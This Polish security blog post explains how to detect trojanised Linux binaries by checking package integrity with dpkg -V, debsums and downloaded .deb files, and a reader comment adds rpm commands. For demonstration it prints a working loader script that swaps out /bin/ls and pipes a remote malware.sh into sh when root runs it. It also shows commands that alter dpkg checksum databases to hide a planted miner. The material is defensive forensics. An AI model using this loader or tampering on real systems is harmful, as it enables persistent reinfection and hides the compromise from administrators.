NFsec Logo

Wykrywanie zatrutych plików binarnych w Linuksie

09/01/2022 w Bezpieczeństwo 1 komentarz.  (artykuł nr 807, ilość słów: 1931)

Z

atruwanie plików binarnych w Linuksie jest procesem, w którym atakujący podmienia często używane (dystrybucyjnie pre-instalowane) programy i narzędzia swoimi wersjami, które spełniają te same funkcje, ale dodatkowo wykonują złośliwe akcje. Może to być zastąpienie pliku nowym, zaprojektowanym tak, aby zachowywał się jak stare polecenie lub zmanipulowanie istniejącego (np. dopisanie na końcu instrukcji), aby bezpośrednio uruchamiało złośliwy kod. Próbkę tego procesu mogliśmy zobaczyć w ściągawce z informatyki śledczej w wykrywaniu włamań za pomocą linii poleceń Linuksa. Dzisiaj ją nieco rozwiniemy.

Zatruwanie binarek:

Zatrucie plików binarnych może zostać rozpoznane na dwa sposoby. Za pomocą tzw. IoC, czyli wskaźników kompromitacji, które opisują szkodliwe oprogramowanie według wielu metadanych np. wartością skrótu SHA / MD5 plików, nazwą pliku / procesu, jego unikalną zawartością, komunikacją sieciową z wybraną domeną / adresem IP itd. – i to ich możemy szukać na bieżąco w naszych systemach. Jeśli takowych nie posiadamy lub chcemy wykrywać podejrzane procesy możemy posłużyć się wbudowanymi poleceniami systemu w celu znalezienia plików nie pasujących do tych, które zaklasyfikował sobie menedżer pakietów. Dlaczego to ma duże znaczenie przy bezpieczeństwie? Cóż – wyobraźmy sobie sytuację, że (według nas) wyczyściliśmy system z szkodliwego oprogramowania, ale jeśli będziemy nadal w nim posiadali zatrute polecenie, a niczego niepodejrzewający administrator je uruchomi – to kod ten wykona się z najwyższymi prawami w systemie i dokona ponownej infekcji systemu. Za przykład może posłużyć nam zatrucie najczęściej używanego polecenia w Linuksie, czyli: ls. Podczas pierwszej infekcji systemu został zatruty plik /bin/ls skryptem loader.sh:

#!/usr/bin/env bash

file /bin/ls | grep shell &> /dev/null && exit 0

mkdir -p /bin/.bin
mv /bin/ls /bin/.bin/

tee /bin/ls > /dev/null <<'SH'
#!/usr/bin/env bash

ROOTUID="0"

if [ "$(id -u)" -ne "$ROOTUID" ]; then
   /bin/.bin/ls "$@"
else
  if [ -f /tmp/.infected ]; then
    /bin/.bin/ls "$@"
  else
    /bin/.bin/ls "$@"
    (curl -ss https://c2c.io/malware.sh | sh &> /dev/null) &> /dev/null & disown 
  fi
fi
SH

chmod +x /bin/ls

Przyjrzyjmy się, co się tutaj dzieje:

  • Skrypt loader.sh sprawdza, czy czasami już plik /bin/ls nie jest skryptem. Jeśli tak to wychodzi i nie zatruwa ponownie polecenia ls.
  • Jeśli plik /bin/ls jest jednak innym obiektem niż skrypt – to tworzy “ukryty” katalog .bin w ścieżce /bin/ i do niego przesuwa oryginalny plik binarny ls, aby móc go wykonywać jako typowe polecenie i zachować przy tym pozory normalnej pracy systemu.
  • Kolejnym krokiem jest “wyplucie” z siebie zatrutego pliku /bin/ls, który będzie się odwoływał zawsze do oryginalnego polecenia ls. Ale jeśli zostanie uruchomiony z prawami administratora i nie znajdzie artefaktu pozytywnej infekcji (plik: /tmp/.infected) to ponownie ściągnie i uruchomi skrypt malware.sh w celu rozpoczęcia całego procesu od nowa.
  • Ostatni krok nadaje uprawnienia wykonywania dla wszystkich użytkowników do /bin/ls.

Koniec końców za każdym razem, gdy polecenie ls zostanie wykonane w odpowiednich warunkach uruchomią się też złośliwe polecenia. Oczywiście nie musimy nawet używać ls. Moglibyśmy wybrać inne częste polecenie np. ssh lub passwd, aby przechwycić hasła i pomóc sobie w uzyskaniu dostępu do innych hostów podczas normalnej aktywności. Sposobów na urozmaicenie tego procesu jest wiele.

Szukanie złego:

Znalezienie zatrutych poleceń może być bardzo czasochłonne, jeśli byśmy chcieli to robić ręcznie. Na przykład w dystrybucji Linuksa Ubuntu w katalogach /bin i /sbin jest lekko ponad 400+ poleceń. Jeśli dorzucimy do tego katalogi /usr/bin i /usr/sbin to już łapiemy pułap ponad tysiąca poleceń. Dlatego pierwszą rzeczą, którą należy spróbować jest uruchomienie weryfikacji pakietów, aby przyspieszyć ten proces. Większość dystrybucji Linuksa zawiera teraz menedżery pakietów. Jest to ogromny krok naprzód w stosunku do dawnych czasów kiedy musiało się ręcznie pobierać kod źródłowy oprogramowania, budować go i samodzielnie radzić sobie z zależnościami bibliotek innych firm. Aktualnie większość głównych dystrybucji używa menedżerów pakietów opartych o RPM lub DPKG, ale istnieje również kilka innych formatów pakietów.

Jedną z często pomijanych funkcji, którą zawiera większość menedżerów pakietów jest wyciąg sum kontrolnych dla każdego z plików zawartych w danym pakiecie. Dane te mogą posłużyć do weryfikacji integralności systemów. Ich przydatność dobrze wpisuje się w scenariusze:

  • Jeśli plik binarny znajdujący się w ścieżkach globalnych określonych zmienną $PATH (/bin, /sbin, /usr/bin, /usr/sbin itd.) ma inny skrót niż ten, który został dostarczony przez jego pakiet.
  • Jeśli hasz biblioteki różni się od tego, który został dostarczony przez pakiet.
  • Jeśli pliki konfiguracyjne różnią się od tych dostarczonych przez pakiet, a nie powinny ulec modyfikacji.
  • Jeśli plik binarny lub biblioteka nie została dostarczona przez pakiet, ale znajduje się w ścieżce systemowej.

Podejrzewamy, że gdzieś w systemie znajduje się zatruty plik binarny. Może to być netstat, aby ukryć połączenia sieciowe lub ps, aby ukryć listę procesów, czy w/w przykład ls. Możemy zweryfikować swoje podejrzenia, jeśli znamy nazwę pakietu. Jeśli nie możemy skorzystać z polecenia: dpkg -S lub wyszukiwarki pakietów:

root@darkstar:~# dpkg -S /bin/ls
coreutils: /bin/ls
root@darkstar:~# dpkg -S /bin/netstat
net-tools: /bin/netstat
root@darkstar:~# dpkg -S /bin/ps
procps: /bin/ps

Posiadając nazwy pakietów, które dostarczyły wskazane pliki możemy odpytać bazę menedżera pakietów o zgodność:

root@darkstar:~# dpkg -V net-tools
root@darkstar:~# dpkg -V procps
??5??????   /bin/ps
root@darkstar:~# dpkg -V coreutils
??5??????   /bin/ls

Dla pakietu net-tools nie zostały wykryte żadne zmiany, ale już dla procps i coreutils wykryto inną sumę kontrolną (kolumna ??5??????). Wyjaśnienie pól w tej kolumnie można znaleźć na stronie podręcznika polecenia dpkg:

The only currently supported output format is rpm, which consists of a line for every path that failed any check. The lines start with 9 characters to report each specific check result, a ‘?’ implies the check could not be done (lack of support, file permissions, etc), ‘.’ implies the check passed, and an alphanumeric character implies a specific check failed; the md5sum verification failure (the file contents have changed) is denoted with a ‘5’ on the third character. The line is followed by a space and an attribute character (currently ‘c’ for conffiles), another space and the pathname.

Wszystkie paczki w systemie można zweryfikować jednolinijkowcem:

for pkg in $(dpkg -l | grep ^ii | awk {'print $2'}); do dpkg -V $pkg; done

Innym narzędziem, którym można przeprowadzić walidację wszystkich pakietów za pomocą jednego prostego polecenia to:

# Zweryfikuj zainstalowane pakiety (+ pliki konfiguracyjne)
debsums -a
# Zweryfikuj zainstalowane pakiety i zgłoś tylko błędy
debsums -s
# Zweryfikuj zainstalowane pakiety i zgłoś tylko zmienione pliki
debsums -c
# Zweryfikuj zainstalowane pakiety (+ pliki konfiguracyjne) i zgłoś tylko zmienione błędy
debsums -ca
# Zweryfikuj zainstalowane pakiety i zgłoś tylko zmienione pliki konfiguracyjne
debsums -ce

Należy mieć świadomość, że debsums jest przodkiem dpkg -V i dlatego jest w większości przestarzały. Cierpi na te same ograniczenia co dpkg. Na szczęście niektóre ograniczenia można obejść (podczas, gdy dpkg nie oferuje podobnych hacków). Ponieważ po kompromitacji systemu nie można ufać danym na dysku (ktoś lub skrypt może podmienić sumę kontrolą), debsums oferuje przeprowadzenie kontroli w oparciu o pliki .deb zamiast polegać na bazie danych dpkg znajdującej się w plikach /var/lib/dpkg/info/*.md5sums. Ich format jest prosty, jeśli spojrzymy na którykolwiek z tych plików:

root@darkstar:~# cat /var/lib/dpkg/info/procps.md5sums
9cd3e0467b502c9b675a52346a91af6d  bin/kill
558edc26f8a38fa9788220b9af8a73e7  bin/ps
901008ec3cc76ac010e0d9538e55c0db  usr/bin/minerd
... ciach ...

root@darkstar:~# cat /var/lib/dpkg/info/procps.list
/bin/kill
/bin/ps
/usr/bin/minerd
... ciach ...

root@darkstar:~# cat /var/lib/dpkg/info/coreutils.md5sums
518882eba51b05a15463e639892dda37  bin/echo
2a0575d3c20962b2ef3844b2192ffe4e  bin/false
efc6bf4d455ffa73ab6e5aaef52c7b64  bin/ln
ebc3d2b02f9ef9e8f2a7d39c170e8b57  bin/ls
... ciach ...

Pliki te mogą zostać z łatwością zmodyfikowane przez atakującego. Na przykład w ostatniej sekcji /usr/bin/minerd nie został dostarczony przez żaden pakiet, a suma narzędzia ls została zmodyfikowana. Tak narzędzia reagują na weryfikację bez ingerencji w bazę spisu i skrótów plików pochodzących z pakietów:

# find /usr/bin/ \! -type l -exec dpkg -S {} \; 2>&1 | grep "no path found matching"
dpkg-query: no path found matching pattern /usr/bin/minerd
# dpkg -V coreutils
??5??????   /bin/ls

Przeprowadzamy kompromitację integralności:

# cd /; echo `md5sum usr/bin/minerd` >> /var/lib/dpkg/info/procps.md5sums
# echo /usr/bin/minerd >> /var/lib/dpkg/info/procps.list
# cd /var/lib/dpkg/info/
# sed -i 's/.*bin\/ls$/ebc3d2b02f9ef9e8f2a7d39c170e8b57  bin\/ls/g' coreutils.md5sums

Sprawdzamy, jak teraz narzędzia widzą szkodliwe pliki:

# dpkg -S /usr/bin/minerd
procps: /usr/bin/minerd
# dpkg -V procps
# dpkg -V coreutils

Jeśli podejrzewamy, że pliki .list oraz .md5sums zostały zmodyfikowane musimy pobrać zaufane pliki .deb wszystkich zainstalowanych pakietów polegając na uwierzytelnionych plikach repozytoriów przez menedżer APT. Ta operacja może być powolna i żmudna, dlatego nie powinna być uważana za technikę proaktywną, którą należy stosować regularnie na serwerach, a raczej w przypadkach głębszej analizy incydentu:

apt-get clean all
apt-get update
cd /var/cache/apt/
chown _apt:root archives
cd archives
for f in $(dpkg-query --show | sed 's/\s/=/g'); do apt-get download $f; done
cd ..
chown root:root archives
cd archives

Po ściągnięciu wszystkich pakietów możemy uruchomić narzędzie debsums, które będzie ignorowało pliki sum na dysku i użyje tych dostarczonych w pakietach deb:

root@stardust:/var/cache/apt/archives# debsums -a -s --generate=all
debsums: changed file /bin/ls (from coreutils package)

Jak widzimy znaleźliśmy nasz pierwszy artefakt, czyli zmodyfikowany plik ls, którego suma kontrola została zmodyfikowana w /var/lib/dpkg/info/coreutils.md5sums, tak aby polecenie: dpkg -V coreutils nie wykazało żadnych zmian. Jak teraz znaleźć dopisany plik minerd? Najprościej spojrzeć na daty ostatnich modyfikacji plików (chociaż do nich też należy podchodzić z dystansem):

ls -lt --time-style="long-iso" /var/lib/dpkg/info/{*.list,*.md5sums} | head
-rw-r--r-- 1 root root    2639 2022-01-08 16:30 /var/lib/dpkg/info/procps.md5sums
-rw-r--r-- 1 root root    2096 2022-01-08 16:29 /var/lib/dpkg/info/procps.list
-rw-r--r-- 1 root root    1245 2022-01-08 16:29 /var/lib/dpkg/info/coreutils.md5sums
... ciach ...

Daty te możemy porównać z datami, na których zostały zaraportowane operacje (instalacja / aktualizacja) na tych pakietach:

for x in $(ls -1t /var/log/dpkg.log*); do zcat -f $x | tac \
| grep -e " install " -e " upgrade "; done | \
awk -F ":a" '{print $1 " :a" $2}' | column -t | egrep '(procps|coreutils)'
zgrep -A4 '2022-01-08' /var/log/apt/history.log* | egrep '(procps|cureutils)'

Jeśli polecenia te nie zwracają żadnych wyników lub daty operacji z nimi związane są zupełnie inne niż modyfikacji plików istnieje bardzo dużo prawdopodobieństwo, że wskazane pliki zostały specjalnie zmodyfikowane. Podobnie jak w przypadku polecenia debsums, możemy te informacje wyciągnąć z pakietów .deb:

# mkdir /tmp/{procps,coreutils}
# cp procps_2%3a3.3.12-3ubuntu1.2_amd64.deb /tmp/procps
# cp coreutils_8.28-1ubuntu1_amd64.deb /tmp/coreutils
# cd /tmp/procps/; ar x procps_2%3a3.3.12-3ubuntu1.2_amd64.deb
# tar -xf control.tar.xz
# diff md5sums /var/lib/dpkg/info/procps.md5sums
44a45
> 901008ec3cc76ac010e0d9538e55c0db  usr/bin/minerd
# cd /tmp/coreutils/; ar x coreutils_8.28-1ubuntu1_amd64.deb
# tar -xf control.tar.xz
# diff md5sums /var/lib/dpkg/info/coreutils.md5sums
13c13
< 931606baaa7a2b4ef61198406f8fc3f4  bin/ls
---
> ebc3d2b02f9ef9e8f2a7d39c170e8b57  bin/ls

Różnica w plikach wskazuje na ścieżkę /usr/bin/minerd, co pokrywa się z przeprowadzoną przez nas kompromitacją. Bardziej czasochłonnym procesem może być zgranie wszystkich plików .list oraz .md5sums na czysty system; zainstalowanie na nim identycznych pakietów i porównanie między sobą tych plików. Należy pamiętać, że jeśli system został naruszony to również debsums i inne narzędzia, których używaliśmy do detekcji mogą zostać zmodyfikowane w celu ukrycia jakichkolwiek zmian. Wiarygodna weryfikacja systemu jest możliwa tylko wtedy, gdy wykonujemy ją z zaufanej instalacji np. LiveCD, czy wirtualnej maszyny z podmontowanym obrazem dysku zainfekowanej maszyny. W powyższych przykładach wszystkie polecenia były wykonywane lokalnie wyłącznie w celach demonstracyjnych live forensic.

Bonus:

Zatruwanie plików binarnych to klasyczny przypadek uśpionego ataku. Znacznie się różni od aktywnego działania złośliwych procesów na systemach. Uśpione furtki dające możliwość dostępu lub ponownej infekcji leżą na hostach jak pułapki czekające na wybuch. Często są niezauważone, ponieważ nie robią nic podejrzanego do czasu ich wyzwolenia. Jeśli mamy wytypowane polecenie, które zostało zatrute i chcemy dokonać szybkiej analizy to spoglądajmy na nie zawsze z poziomu “edytora teksu” np. strings, less itd., aby zobaczyć czy coś ciekawego uda nam się odczytać. Nie uruchamiajmy strace i podobnych poleceń śledzących na żadnym pliku, który naszym zdaniem może być złośliwy – ponieważ wtedy zostanie uruchomiony szkodliwy plik wykonywalny na hoście, co jest naprawdę złym pomysłem. Analogicznie nigdy nie powinniśmy pozwalać dalej działać raz zainfekowanej maszynie, nawet po przeprowadzeniu jej pełnej analizy i byciu przekonanym o jej pełnym wyczyszczeniu z szkodliwego oprogramowania. Proces ten powinien zawsze zakończyć się reinstalacją systemu.

Więcej informacji: DFSP # 304 – Detecting File Poisoning on Linux, Detecting Linux Binary File Poisoning, Praktyczna analiza powłamaniowa: Aplikacja webowa w środowisku Linux, How to list files and folders that are not maintained by any DEB package, Finding Bad With Package Managers

Kategorie K a t e g o r i e : Bezpieczeństwo

Tagi T a g i : , , , , , , , , , , ,

1 komentarz.

  1. Dla systemów z rodziny RedHat polecenia wyglądają podobnie:

    # rpm -q --whatprovides /bin/date
    coreutils-8.22-23.el7.x86_64
    # rpm -V coreutils
    S.5....T.    /usr/bin/date
    # rpm -Va
    # find /bin/ -type f -exec rpm -q --whatprovides {} \; |grep "is not owned by any package"